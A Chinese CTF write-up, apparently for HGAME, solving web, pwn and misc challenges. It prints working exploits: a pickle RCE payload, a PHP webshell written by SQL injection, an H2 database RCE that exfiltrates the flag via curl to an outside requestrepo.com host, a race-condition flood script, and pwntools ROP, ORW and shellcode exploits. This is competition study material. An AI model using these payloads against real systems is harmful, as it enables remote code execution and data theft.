web第一周
2048*16
发现V+疑似码表特征,
Bypass it
禁用js前端代码进行注册即可
Select More Courses
jhat
找到oql注入
payload
web第二周
myflask
一个伪造session,题目已经给了爆破提示,根据靶场启动实例估测时间,进行爆破,时间格式为
现在20点18分30秒---->201830
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone
currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")
app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)
@app.route('/')
def index():
session['username'] = 'guest'
return send_file('app.py')
@app.route('/flag', methods=['GET', 'POST'])
def flag():
if not session:
return 'There is no session available in your client :('
if request.method == 'GET':
return 'You are {} now'.format(session['username'])
# For POST requests from admin
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return 'Access Denied'
if __name__=='__main__':
app.run(debug=True, host="0.0.0.0")
给出爆破脚本flask-session(python3可运行)
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
根据脚本写出爆破
import subprocess
for i in range(201800,202300):
command ="python flask_session_cookie_manager3.py decode -c " \
"'eyJ1c2VybmFtZSI6Imd1ZXN0In0.Zc4BsQ.0S2cnvXJthtacwRjNHS3uCE2OXQ' -s" + str(i)
# 使用 subprocess.run 执行命令并捕获输出
result = subprocess.run(command, capture_output=True, text=True, shell=True)
# 输出命令的标准输出结果
print("标准输出:"+command)
if '{'in result.stdout:
print(result.stdout)
else:
"no"
拿到密钥201839
验证成功后,看到传输pickledata(这里我一直只看到reques.get以为是get传参,比赛结束看到别人的wp才发现是post...,以为有过滤试了半天)
这里没有任何过滤,就是可能没有os包,所以采用
import pickle
import base64
import os
class Email():
def __reduce__(self):
return (exec,("raise Exception(__import__('os').popen('ls /').read())",))
def login():
poc = base64.b64encode(pickle.dumps(Email()))
print(poc)
login()
拿到shell
Select More Courses
一个时间竞争题目,思路应该是点击拓展学分给了英文,意思是对抗时间,有机会完成增加学分上限,同时burp打开就可以了
给出官方wp脚本
1 import requests
2 import threading
3
4 def send_request():
5 url = "http://47.102.130.35:30234/api/expand"
6 headers = {
7 "Host": "47.102.130.35:30234",
8 "Connection": "keep-alive",
9 "Content-Length": "23",
10 "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
11 "Content-Type": "application/json",
12 "Accept": "*/*",
13 "Origin": "http://47.102.130.35:30234",
14 "Referer": "http://47.102.130.35:30234/expand",
15 "Accept-Encoding": "gzip, deflate",
16 "Accept-Language": "zh-CN,zh;q=0.9",
17 "Cookie":
"session=MTcwNzEwNzQzM3xEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0FJZF
hObGNtNWhiV1VHYzNSeWFXNW5EQW9BQ0cxaE5XaHlNREJ0fHOdF2Z4AqqV3oV6z2EPpM2zyz1UOPBTt
u69oB8qnaWM"
18 }
19 payload = {"username": "ma5hr00m"}
20
21 while True:
22 try:
23 response = requests.post(url, headers=headers, json=payload)
24 print(f"Response: {response.status_code}")
25 except requests.exceptions.RequestException as e:
26 print(f"Error: {e}")
27
28 # 创建50个线程并发发送请求
29 threads = []
30 for _ in range(50):
31 thread = threading.Thread(target=send_request)
32 thread.start()
33 threads.append(thread)
34
35 # 等待所有线程完成
36 for thread in threads:
37 thread.join()
What the cow say?
看到这个牛就想到了之前做过的题目,并且尝试sstl注入无果,这题应该取自niectf
有兴趣的人可以去看看
https://github.com/satoki/ctf_writeups/blob/master/niteCTF_2023/caas_renewed/README.md
`
当然这里没法用;进行绕过,再用了些发现flag和cat什么的过滤了,最后采用
`nl /f*/f*`
search4member
尝试万能密码
数据库名为H2
a' union select 1,database(),3 --+
原想如法炮制,但后门发现没有flag的踪影,就想到尝试写文件木马,发现也没用
a' union select 1,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php",3 --+
后来知道是H2数据库有个rce漏洞什么的。
直接利用
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
这里还有就是要采用堆叠注入方式,不然直接跟上面一样会有点问题不知道为啥,可能我有语法问题,堆叠这种格式不会未响应
构造pyaload,先创造一个shellexec函数,然后利用函数进行rce,传输命令因为有字符问题所以就用base编码方便点。
//这个总的来说就是创建一个数据库函数 SHELLEXEC
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
a';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5uMmdseGhtMi5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+
拿到外带flag(反弹shell貌似没有权限无效)
梅开二度
题目这么说大概率像是要拿xss来做,有点像ctfshow的bot点击连接发送cookie过来。
、
剩下的持续
更新稍等。。。。
pwn第一周
ezshellcode
发现设立v5为可执行写入区,v4是输入shellcode长度,但限制10一下,明显这里要利用一个新知识点---整数溢出
再看myread函数,对输入字符有限制,要为可视化字符,所以网上寻找,或者使用alpha3工具编码生成
、
给出脚本
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
#p = process('./ezshellcode')
p=remote("106.14.57.14",31293)
p.sendlineafter("input the length of your shellcode:",b'-1')
shellcode=b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H\
0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1\
n0J0h0a070t"
p.sendafter("input your shellcode:",shellcode)
p.interactive()
Elden Random
整体可以拆解成两部分难点,前面是先输入一个疑似泄露格式化字符串,然后预测随机数。
后门是myread函数明显就是栈溢出经典问题,留下足够的字节数溢出。
我们先解决while循环里面的随机数预测问题。
这里有两种方法:一种题目已经给了libc文件,我们根据文件生成同样的随机数种子进行提前预测
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(0)
生成
第二种方法是利用一开始给的read
read(0, buf, 0x12uLL);
printf("I see,%s", buf);
发现buf存入数据可以覆盖seed的数据,所以我们尝试输入指定数据这样也能提前预测种子数据
所以现在我们绕过了随机数验证后再来利用myread函数
return read(0, buf, 0x100uLL);
用shift+F12没有发现有后门函数提示,所以这里是我们得自己利用libc进行泄露得到,这里就要利用系统有的输出函数puts来进行泄露
payload=b'a'*0x38
payload+=p64(pop_rdi_ret) #rdi储存第一个参数,这里是清空返回指令。
payload+=p64(puts_got) #存储参数
payload+=p64(puts_plt) #返回参数
payload+=p64(myread) #puts_plt的返回参数
这里就再次进行一次读取,这时候已经可以接收到puts的真实地址进行构造
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
payload=b'a'*0x38
payload+=p64(ret) //这里加ret的原因是为了栈平衡,不懂去搜索一下,64位system执行需要的
payload+=p64(pop_rdi_ret)
payload+=p64(libc_base+next(libc.search(b'/bin/sh')))
payload+=p64(libc_base+libc.sym['system'])
仔细理解一下,给出完整脚本
from pwn import *
import ctypes
context(os='linux',arch='amd64',log_level='debug')
#p=process("./vuln")
p=remote('47.xxx.xxx.xx',端口)
libc=ELF("./libc.so.6")
elf=ELF("./vuln")
def bug():
gdb.attach(p)
pause()
rdi=0x0000000000401423
read=0x40125D
a=[84,87,78,16,94,36,87,93,50,22,63,28,91,60,64,27,41,27,73,37,12,69,68,30,83,31,63,24,68,36,30,3,23,59,70,68,94,57,12,43,30,74,22,20,85,38,99,25,16,71,14,27,92,81,57,74,63,71,97,82,6,26,85,28,37,6,47,30,14,58,25,96,83,46,15,68,35,65,44,51,88,9,77,79,89,85,4,52,55,100,33,61,77,69,40,13,27,87,95]
p.recvuntil("Menlina: Well tarnished, tell me thy name.")
pay=b'\x00'*(0x12)
p.send(pay)
#bug()
for i in range(len(a)):
p.recvuntil("Please guess the number:\n")
p.send(p32(a[i]))
p.recvuntil("Here's a reward to thy brilliant mind.")
payload1=b'a'*(0x30+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(read)
p.sendline(payload1)
libc_base =u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
payload2=b'a'*(0x30+8)+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)
p.sendline(payload2)
p.interactive()
[HGAME1] Elden Ring Ⅰ
这题难度提升较高,先讲解一下整体思路
拿到题目先检查保护有个数,是否NX保护开启能把shellcode写在栈上,有没有canary会限制栈溢出,pie有没有开都要脑海里有对应的方法解决。
这里我们看到几乎没有保护
再看反编译diamagnetic,看到seccomp函数就知道考沙盒
在ctf比赛中,pwn题中的沙盒一般都会限制execve的系统调用,都是用orw进行攻击
再往下看vuln函数发现可写的地方还算多,尝试泄露一下puts函数的地址来拿libc。
如果看到这你还不知道怎么泄露,那回到前面仔细研究下retlibc吧,这里讲下pop_rdi_ret怎么来的
下载ROPgadget工具
单个泄露脚本,建议本地打会系统点,可以看内部调用
from ctypes import cdll
from pwn import *
elf=ELF('vuln')
offset=0x108
p=remote("139.196.183.57",31020)
# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so.6")
# p=process("./vuln")
elf = ELF("./vuln")
# def bug():
# gdb.attach(p)
# pause()
pop_rdi_ret=0x00004013e3
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x40125B
payload = cyclic(offset)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.recvuntil(b"Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n")
p.send(payload)
# leek libc_base================================================
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
这样我们就可以构造system('bin/sh')了,但有个问题就是题目是开启了沙盒的,限制了使用所以我们并不能通过常规的one_gadget和system调用来得到flag,采用orw来注入。
seccomp-tools dump ./文件名
这里头同样有两种方法进行,第一种直接构造orw读取
使用orw,我们需要先调用open函数打开根目录flag文件,再调用read函数从中读入得到的flag,最后调用write函数将flag打印出来
给出思路一脚本
from pwn import *
import os
context(log_level='debug',arch='amd64',os='linux')
p = remote("127.0.0.1", 9999)
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x40125B
rdi_addr = 0x00000000004013e3
puts_offset = 0x84420
leave_addr = 0x0000000000401290
bss_addr = 0x404090
# Leak libc
payload1 = b'A' * 0x108
payload1 += p64(rdi_addr)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(main_addr)
payload1 = payload1.ljust(0x130, b'\x00')
p.sendafter("accord.", payload1)
p.recv()
puts_addr = u64(p.recv(6) + b'\x00'*2)
libc_addr = puts_addr - puts_offset
print("libc_base =", hex(libc_addr))
# Offsets in libc
pop_rax_ret = 0x36174 + libc_addr
pop_rsi_ret = 0x2601f + libc_addr
pop_rdx_r12_ret = 0x119211 + libc_addr
syscall_ret = 0x630a9 + libc_addr
open_addr = libc_addr + libc.sym["open"]
read_addr = libc_addr + libc.sym["read"]
write_addr = libc_addr + libc.sym["write"]
# Set up stack for the basic orw
payload = b'a' * 0x100
payload += p64(bss_addr-0x8)
payload += p64(pop_rax_ret)
payload += p64(bss_addr)
payload += p64(0x401282)
payload += p64(0) * 2
p.sendafter("accord.", payload)
sleep(0.01)
# Perform the basic orw
payload = p64(rdi_addr)
payload += p64(0x404138)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(open_addr)
payload += p64(rdi_addr)
payload += p64(3)
payload += p64(pop_rsi_ret)
payload += p64(0x404140)
payload += p64(pop_rdx_r12_ret)
payload += p64(0x100)
payload += p64(0)
payload += p64(read_addr)
payload += p64(rdi_addr)
payload += p64(1)
payload += p64(pop_rsi_ret)
payload += p64(0x404140)
payload += p64(pop_rdx_r12_ret)
payload += p64(0x100)
payload += p64(0)
payload += p64(write_addr)
payload += b'flag\x00\x00\x00\x00'
payload += p64(0) * 16
p.send(payload)
p.interactive()
第二种方法是使用asm工具直接生成汇编代码,但这种方法需要调用mprotect函数去修改bss段权限去执行asm生成的汇编代码。
给出不同部分代码
pay=b'a'*0x28
pay += p64(rdi)
pay += p64(0x404000)
pay += p64(rsi)
pay += p64(0x1000)
pay += p64(rdx_r12)
pay += p64(7)*2
pay += p64(mprotect)
pay += p64(bss+0x28+0x48)
pay += asm(shellcraft.open("/flag"))
pay += asm(shellcraft.read(3,bss+0x500,0x100))
pay += asm(shellcraft.write(1,bss+0x500,0x100))
p.send(pay)
p.interactive()
总结:总体利用就是libc泄露+orw读取,以及考察了存储第一个,第二个,第三个参数的寄存器使用。
EzSignIn
不用说。。
ezfmt string
不能匹配到p和s,说明常规%p不可以用.
看了别的师傅的,看不懂。。。
from pwn import *
elf = ELF('./vuln4')
context(arch='amd64', log_level='debug')
#p = process('./vuln4')
p = remote('47.100.137.175', 30198)
#gdb.attach(p, "b*0x401316\nc")
v2 = 0x401245&0xffff
pay = f"%{v2}c%18$hn".ljust(0x40,'.').encode()+b'\x38' #覆盖尾字节形成指向ret的指针,1/16爆破
p.send(pay)
sleep(0.2)
p.sendline(b"cat flag")
p.interactive()
pwn第二周
1 from pwn import*
2 #p=process("./vuln")
3 p=remote("47.100.137.175",31301)
4 #p=remote("127.0.0.1",9999)
5 context(log_level='debug',arch='amd64',os='linux')
6
7 #gdb.attach(p)
8 shellcode1='''
9 shl edi,12
10 mov dx, 0x7
11 mov ax, 10
12 syscall
13 cdq
14 mov esi, edi
15 xor edi, edi
16 xor eax, eax
17 syscall
18 '''
19
20 p.send(asm(shellcode1))
21
22 #basic orw shellcode
23 shellcode_orw = asm('''
24 push 0x67616c66
25 mov rdi,rsp
26 xor esi,esi
27 push 2
28 pop rax
29 syscall
30 mov rdi,rax
31 mov rsi,rsp
32 mov edx,0x100
33 xor eax,eax
34 syscall
35 mov edi,1
36 mov rsi,rsp
37 push 1
pop rax
syscall
''')
p.sendline(b'\x90'*0xff+asm("shl rsp, 12; add rsp, 0x500;")+shellcode_orw)
p.interactive()
misc第二周
ezWord
附件下载下来是一个word文档,很明显里面有东西,把后缀改为zip可以看到内容
但这有个疑点就是我放进kali进行foremost出来只有一个txt加密文件。但实际应该是下面四个
两张图片打开发现相似有可能是
1.盲水印
2.异或
两种都试了没用,后来发现是python的一种加密,要用可以拿到图片里面有key
GitHub - Byxs20/PuzzleSolver: 一款针对CTF竞赛MISC的工具~
拿到key后打开文件,看不懂翻译了下是一封信但不知道讲什么
解密拿到一堆乱码
籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆
再去解码Unicode To Code Point · 开发者工具箱
还是没有找到明显规律,但看每个数前三个都相同,再看最后两位基本都在一个区间,发现前几个数对应是hgame字母相差的大小个数,构造脚本
numbers = [57, 56, 50, 62, 54, 76, 1, 60, 48, 74, 64, 70, 48, 68, 1, 61, 71, 54, 48, 50, 61, 2, 48, 69, 57, 4, 48, 68, 54, 52, 67, 4, 69, 78]
ascii_text = ""
for num in numbers:
ascii_char = chr(num - 50 + ord('a'))
ascii_text += ascii_char
print(ascii_text)
得到flag
hgame{0k_you_s0lve_al1_th3_secr3t}